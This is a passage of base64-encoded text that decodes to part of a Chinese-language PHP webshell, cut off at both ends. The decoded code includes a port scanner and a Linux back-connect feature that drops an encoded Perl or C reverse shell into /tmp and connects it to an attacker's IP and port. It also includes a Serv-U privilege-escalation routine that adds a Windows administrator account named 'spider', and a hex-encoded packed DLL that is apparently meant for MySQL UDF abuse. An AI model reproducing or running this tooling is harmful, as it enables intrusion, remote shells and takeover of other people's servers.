JQT1NUIiBuYW1lPSJpZm9ybSIgaWQ9Imlmb3JtIiBhY3Rpb249Ij9zPWkiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsmow+hJUCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHZhbHVlPSJ7JFBvcnRfaXB9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij4gPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+tsu/2rrFIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0ieyRQb3J0X3BvcnR9IiBzdHlsZT0id2lkdGg6NTk3cHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7CglpZigoIWVtcHR5KCRfUE9TVFsnaXAnXSkpICYmICghZW1wdHkoJF9QT1NUWydwb3J0J10pKSkKCXsKCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7CgkJJHBvcnRzID0gZXhwbG9kZSgnfCcsICRfUE9TVFsncG9ydCddKTsKCQlmb3IoJGkgPSAwOyRpIDwgY291bnQoJHBvcnRzKTskaSsrKQoJCXsKCQkJJGZwID0gQGZzb2Nrb3BlbigkX1BPU1RbJ2lwJ10sJHBvcnRzWyRpXSwkZXJybm8sJGVycnN0ciwyKTsKCQkJZWNobyAkZnAgPyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPr+qt8W2y7/aIC0tLT4gJy4kcG9ydHNbJGldLic8L2ZvbnQ+PGJyPicgOiAnudix1bbLv9ogLS0tPiAnLiRwb3J0c1skaV0uJzxicj4nOwoJCQlvYl9mbHVzaCgpOwoJCQlmbHVzaCgpOwoJCX0KCQllY2hvICc8L2Rpdj4nOwoJfQoJcmV0dXJuIHRydWU7Cn0KCi8vTGludXjM4cioCgpmdW5jdGlvbiBMaW51eF9rKCkKewoJJHlvdXJpcCA9IGlzc2V0KCRfUE9TVFsneW91cmlwJ10pID8gJF9QT1NUWyd5b3VyaXAnXSA6IGdldGVudignUkVNT1RFX0FERFInKTsKCSR5b3VycG9ydCA9IGlzc2V0KCRfUE9TVFsneW91cnBvcnQnXSkgPyAkX1BPU1RbJ3lvdXJwb3J0J10gOiAnMTI2NjYnOwpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imtmb3JtIiBpZD0ia2Zvcm0iIGFjdGlvbj0iP3M9ayI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJpcCIgdmFsdWU9InskeW91cmlwfSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7BrL3Ttsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ieW91cnBvcnQiIHZhbHVlPSIxMjY2NiIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7WtNDQt73KvSA8c2VsZWN0IG5hbWU9InVzZSIgPgo8b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImMiPmM8L29wdGlvbj4KPC9zZWxlY3Q+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzBrL3TIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4KRU5EOwoJaWYoKCFlbXB0eSgkX1BPU1RbJ3lvdXJpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3lvdXJwb3J0J10pKSkKCXsKCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7CgkJaWYoJF9QT1NUWyd1c2UnXSA9PSAncGVybCcpCgkJewoJCQkkYmFja19jb25uZWN0X3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLgoJCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuCgkJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4KCQkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLgoJCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuCgkJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCQkJZWNobyBGaWxlX1dyaXRlKCcvdG1wL3NwaWRlcl9iYycsYmFzZTY0X2RlY29kZSgkYmFja19jb25uZWN0X3BsKSwnd2InKSA/ICe0tL2oL3RtcC9zcGlkZXJfYmOzybmmPGJyPicgOiAntLS9qC90bXAvc3BpZGVyX2Jjyqew3Dxicj4nOwoJCQkkcGVybHBhdGggPSBFeGVjX1J1bignd2hpY2ggcGVybCcpOwoJCQkkcGVybHBhdGggPSAkcGVybHBhdGggPyBjaG9wKCRwZXJscGF0aCkgOiAncGVybCc7CgkJCWVjaG8gRXhlY19SdW4oJHBlcmxwYXRoLicgL3RtcC9zcGlkZXJfYmMgJy4kX1BPU1RbJ3lvdXJpcCddLicgJy4kX1BPU1RbJ3lvdXJwb3J0J10uJyAmJykgPyAnbmMgLWwgLW4gLXYgLXAgJy4kX1BPU1RbJ3lvdXJwb3J0J10gOiAn1rTQ0MP8we7Kp7DcJzsKCQl9CgkJaWYoJF9QT1NUWyd1c2UnXSA9PSAnYycpCgkJewoJCQkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4KCQkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLgoJCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4KCQkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLgoJCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuCgkJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4KCQkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsKCQkJZWNobyBGaWxlX1dyaXRlKCcvdG1wL3NwaWRlcl9iYy5jJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfYyksJ3diJykgPyAntLS9qC90bXAvc3BpZGVyX2JjLmOzybmmPGJyPicgOiAntLS9qC90bXAvc3BpZGVyX2JjLmPKp7DcPGJyPic7CgkJCSRyZXMgPSBFeGVjX1J1bignZ2NjIC1vIC90bXAvYW5nZWxfYmMgL3RtcC9hbmdlbF9iYy5jJyk7CgkJCUB1bmxpbmsoJy90bXAvc3BpZGVyX2JjLmMnKTsKCQkJZWNobyBFeGVjX1J1bignL3RtcC9zcGlkZXJfYmMgJy4kX1BPU1RbJ3lvdXJpcCddLicgJy4kX1BPU1RbJ3lvdXJwb3J0J10uJyAmJykgPyAnbmMgLWwgLW4gLXYgLXAgJy4kX1BPU1RbJ3lvdXJwb3J0J10gOiAn1rTQ0MP8we7Kp7DcJzsKCQl9CgkJZWNobyAnPGJyPsTjv8nS1LOiytTBrL3Ttsu/2iAobmMgLWwgLW4gLXYgLXAgJy4kX1BPU1RbJ3lvdXJwb3J0J10uJykgPC9kaXY+JzsKCX0KCXJldHVybiB0cnVlOwp9CgovL1NlcnZVzOHIqAoKZnVuY3Rpb24gU2VydnVfbCgpCnsKCSRTVVBhc3MgPSBpc3NldCgkX1BPU1RbJ1NVUGFzcyddKSA/ICRfUE9TVFsnU1VQYXNzJ10gOiAnI2xAJGFrIy5sazswQFAnOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9zPWwiPlvWtNDQw/zB7l08L2E+IDxhIGhyZWY9Ij9zPWwmbz1hZGR1c2VyIj5bzO2809PDu6ddPC9hPjwvZGl2Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VbbLv9ogPGlucHV0IG5hbWU9IlNVUG9ydCIgdHlwZT0idGV4dCIgdmFsdWU9IjQzOTU4IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2PgoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VdPDu6cgPGlucHV0IG5hbWU9IlNVVXNlciIgdHlwZT0idGV4dCIgdmFsdWU9IkxvY2FsQWRtaW5pc3RyYXRvciIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KCTxkaXYgY2xhc3M9ImFjdGFsbCI+U2VydlXD3MLrIDxpbnB1dCBuYW1lPSJTVVBhc3MiIHR5cGU9InRleHQiIHZhbHVlPSJ7JFNVUGFzc30iIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CkVORDsKaWYoJF9HRVRbJ28nXSA9PSAnYWRkdXNlcicpCnsKcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj7VyrrFIDxpbnB1dCBuYW1lPSJ1c2VyIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ic3BpZGVyIiBzdHlsZT0id2lkdGg6MjAwcHgiPgrD3MLrIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0idGV4dCIgdmFsdWU9InNwaWRlciIgc3R5bGU9IndpZHRoOjIwMHB4Ij4KxL/CvCA8aW5wdXQgbmFtZT0icGFydCIgdHlwZT0idGV4dCIgdmFsdWU9IkM6XFxcXCIgc3R5bGU9IndpZHRoOjIwMHB4Ij48L2Rpdj4KRU5EOwp9CmVsc2UKewpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPszhyKjD/MHuIDxpbnB1dCBuYW1lPSJTVUNvbW1hbmQiIHR5cGU9InRleHQiIHZhbHVlPSJuZXQgdXNlciBzcGlkZXIgc3BpZGVyIC9hZGQgJiBuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBzcGlkZXIgL2FkZCIgc3R5bGU9IndpZHRoOjYwMHB4Ij48YnI+CjxpbnB1dCBuYW1lPSJ1c2VyIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzcGlkZXIiPgo8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InNwaWRlciI+CjxpbnB1dCBuYW1lPSJwYXJ0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJDOlxcXFwiPjwvZGl2PgpFTkQ7Cn0KZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsKCWlmKCghZW1wdHkoJF9QT1NUWydTVVBvcnQnXSkpICYmICghZW1wdHkoJF9QT1NUWydTVVVzZXInXSkpICYmICghZW1wdHkoJF9QT1NUWydTVVBhc3MnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkc2VuZGJ1ZiA9ICIiOwoJCSRyZWN2YnVmID0gIiI7CgkJJGRvbWFpbiAgPSAiLVNFVERPTUFJTlxyXG4iLiItRG9tYWluPWhheG9yY2l0b3N8MC4wLjAuMHwyMXwtMXwxfDBcclxuIi4iLVRaT0VuYWJsZT0wXHJcbiIuIiBUWk9LZXk9XHJcbiI7CgkJJGFkZHVzZXIgPSAiLVNFVFVTRVJTRVRVUFxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiItUG9ydE5vPTIxXHJcbiIuIi1Vc2VyPSIuJF9QT1NUWyd1c2VyJ10uIlxyXG4iLiItUGFzc3dvcmQ9Ii4kX1BPU1RbJ3Bhc3N3b3JkJ10uIlxyXG4iLiItSG9tZURpcj1jOlxcXHJcbiIuIi1Mb2dpbk1lc0ZpbGU9XHJcbiIuIi1EaXNhYmxlPTBcclxuIi4iLVJlbFBhdGhzPTFcclxuIi4iLU5lZWRTZWN1cmU9MFxyXG4iLiItSGlkZUhpZGRlbj0wXHJcbiIuIi1BbHdheXNBbGxvd0xvZ2luPTBcclxuIi4iLUNoYW5nZVBhc3N3b3JkPTBcclxuIi4KCQkJCQkJCSAiLVF1b3RhRW5hYmxlPTBcclxuIi4iLU1heFVzZXJzTG9naW5QZXJJUD0tMVxyXG4iLiItU3BlZWRMaW1pdFVwPTBcclxuIi4iLVNwZWVkTGltaXREb3duPTBcclxuIi4iLU1heE5yVXNlcnM9LTFcclxuIi4iLUlkbGVUaW1lT3V0PTYwMFxyXG4iLiItU2Vzc2lvblRpbWVPdXQ9LTFcclxuIi4iLUV4cGlyZT0wXHJcbiIuIi1SYXRpb1VwPTFcclxuIi4iLVJhdGlvRG93bj0xXHJcbiIuIi1SYXRpb3NDcmVkaXQ9MFxyXG4iLiItUXVvdGFDdXJyZW50PTBcclxuIi4iLVF1b3RhTWF4aW11bT0wXHJcbiIuCgkJCQkJCQkgIi1NYWludGVuYW5jZT1Ob25lXHJcbiIuIi1QYXNzd29yZFR5cGU9UmVndWxhclxyXG4iLiItUmF0aW9zPU5vbmVcclxuIi4iIEFjY2Vzcz0iLiRfUE9TVFsncGFydCddLiJcfFJXQU1FTENEUFxyXG4iOwoJCSRkZWxkb21haW4gPSAiLURFTEVURURPTUFJTlxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiIgUG9ydE5vPTIxXHJcbiI7CgkJJHNvY2sgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAkX1BPU1RbIlNVUG9ydCJdLCAkZXJybm8sICRlcnJzdHIsIDEwKTsKCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7CgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsiU1VVc2VyIl0uIlxyXG4iOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOwoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsKCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsKCQkkc2VuZGJ1ZiA9ICJQQVNTICIuJF9QT1NUWyJTVVBhc3MiXS4iXHJcbiI7CgkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7CgkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7CgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOwoJCSRzZW5kYnVmID0gIlNJVEUgTUFJTlRFTkFOQ0VcclxuIjsKCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsKCQllY2hvICK3osvNyv2+3bD8OiAkc2VuZGJ1ZiA8YnI+IjsKCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7CgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAkZG9tYWluOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOwoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsKCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsKCQkkc2VuZGJ1ZiA9ICRhZGR1c2VyOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOwoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsKCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsKCQlpZighZW1wdHkoJF9QT1NUWydTVUNvbW1hbmQnXSkpCgkJewoJIAkJJGV4cCA9IEBmc29ja29wZW4oIjEyNy4wLjAuMSIsICIyMSIsICRlcnJubywgJGVycnN0ciwgMTApOwoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7CgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsKCSAJCSRzZW5kYnVmID0gIlVTRVIgIi4kX1BPU1RbJ3VzZXInXS4iXHJcbiI7CgkgCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJIAkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7CgkgCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsKCSAJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOwoJIAkJJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiI7CgkgCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJIAkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7CgkgCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsKCSAJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOwoJIAkJJHNlbmRidWYgPSAic2l0ZSBleGVjICIuJF9QT1NUWyJTVUNvbW1hbmQiXS4iXHJcbiI7CgkgCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJIAkJZWNobyAit6LLzcr9vt2w/Dogc2l0ZSBleGVjIDxmb250IGNvbG9yPSMwMDY2MDA+Ii4kX1BPU1RbIlNVQ29tbWFuZCJdLiI8L2ZvbnQ+IDxicj4iOwoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7CgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsKCSAJCSRzZW5kYnVmID0gJGRlbGRvbWFpbjsKCSAJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJIAkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7CgkgCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7CgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsKCSAJCUBmY2xvc2UoJGV4cCk7CgkJfQoJCUBmY2xvc2UoJHNvY2spOwoJCWVjaG8gJzwvZGl2Pic7Cgl9Cn0KCi8vTVlTUUzM4cioCgpmdW5jdGlvbiBNeXNxbF9zaGVsbGNvZGUoKQp7CglyZXR1cm4gIjB4NEQ1QTkwMDAwMzAwMDAwMDA0MDAwMDAwRkZGRjAwMDBCODAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwRTAwMDAwMDAwRTFGQkEwRTAwQjQwOUNEMjFCODAxNENDRDIxNTQ2ODY5NzMyMDcwNzI2RjY3NzI2MTZEMjA2MzYxNkU2RTZGNzQyMDYyNjUyMDcyNzU2RTIwNjk2RTIwNDQ0RjUzMjA2RDZGNjQ2NTJFMEQwRDBBMjQwMDAwMDAwMDAwMDAwMDlCQkI5QTAyREZEQUY0NTFERkRBRjQ1MURGREFGNDUxQTRDNkY4NTFERERBRjQ1MTVDQzZGQTUxQ0JEQUY0NTEzN0M1RkU1MThCREFGNDUxREZEQUY0NTFEQ0RBRjQ1MUJEQzVFNzUxREFEQUY0NTFERkRBRjU1MTg0REFGNDUxMzdDNUZGNTFEQ0RBRjQ1MTM3QzVGMDUxREVEQUY0NTE1MjY5NjM2OERGREFGNDUxMDAwMDAwMDAwMDAwMDAwMDUwNDUwMDAwNEMwMTAzMDBCMjk3NkE0NjAwMDAwMDAwMDAwMDAwMDBFMDAwMEUyMTBCMDEwNjAwMDA1MDAwMDAwMDEwMDAwMDAwOTAwMDAwMTBFNjAwMDAwMEEwMDAwMDAwRjAwMDAwMDAwMDAwMTAwMDEwMDAwMDAwMDIwMDAwMDQwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDEwMDAwMTAwMDAwMDAwMDAwMDAwMjAwMDAwMDAwMDAxMDAwMDAxMDAwMDAwMDAwMTAwMDAwMTAwMDAwMDAwMDAwMDAxMDAwMDAwMEQ4RjAwMDAwNzQwMDAwMDAwMEYwMDAwMEQ4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNENGMTAwMDAwQzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA1NTUwNTgzMDAwMDAwMDAwMDA5MDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4MDAwMDBFMDU1NTA1ODMxMDAwMDAwMDAwMDUwMDAwMDAwQTAwMDAwMDA0ODAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDQwMDAwMEUwNTU1MDU4MzIwMDAwMDAwMDAwMTAwMDAwMDBGMDAwMDAwMDAyMDAwMDAwNEMwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwQzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMzIyRTMwMzIwMDU1NTA1ODIxMEQwOTAyMEE0NTk0NzVDNTlGQ0M1ODc2MzJDOTAwMDAwRjQ2MDAwMDAwQjAwMDAwMjYwQTAwQkM2RkVERERGRjU1OEJFQzZBRkY2ODAwMDA3MTQ4MDQwRUQwNjRBMTA1MDc1MDY0ODlGRkQ4RkY5RjI1ODNFQzBDNTM1NjU3ODk2NUU4Qzc0NUZDMEY3RDBDMDE3NTIzNkEwMEZGRURCNzdCMDEyRTA1QjAwOEZGMTUwOTcwMDA4OTQ1RTRFQjA5QjgxRTczNjNCQjAxMjRDMzhCMkZGRjAwMEY4QjRERjA1RkY2RkZEOTRFMEQ1RjVFNUI4QkU1NURDMjBDMDA5MDAwOEI0NDI0OTlBQ0ZERjYwNEM3NDAwODFDMTAwNDMyQzBDMzBGOEY1OEZEQUM3RDAwODFFQzhDMDkwNTkyQzY4NUU4RkJGRjc3REZCRDYxMDBCOUZGMTczM0MwOERCREU5MERGM0FCNjZBQkFBMzNEQjg5NURGQzhCMzNEQkJCRkY0NTBDODMzODAxMEY4NTc3MDM4MDQ4MDQzOTE5MEE2QzUzRUZGRUZGQkY4MDk4OEI1MDA4OEIwMjUwRTgwQTAwNUREQzgzQzQwODg1QzAwRjg0NTExQTg4OURDOEY2RjcyMDI3NkI0MTRFQzlGNkM3ODVCQzBBOUZEOURDNUQwQzE2ODk5REMwMDkwRkM0RDg1M0ExRkJGNkRGOEQ4RDFBNTE4RDk1Q0NGQTA2NTI4RDg1QjgwRDUwMEVCMzk5NjYxQjJDMjU2QzQ0MjQ2Q0NERjdFRkIxMTYyODhCODUyQTg5ODVBQ0Y2MDVBODY2RUVFRThDNkM1NTlDOTg1NjY4MDUwMTM0Nzc2NzIzQ0Q5NUM4NTIyNDBDQkZCQTg4ODNDOURGRENGRkI3RkY5Q0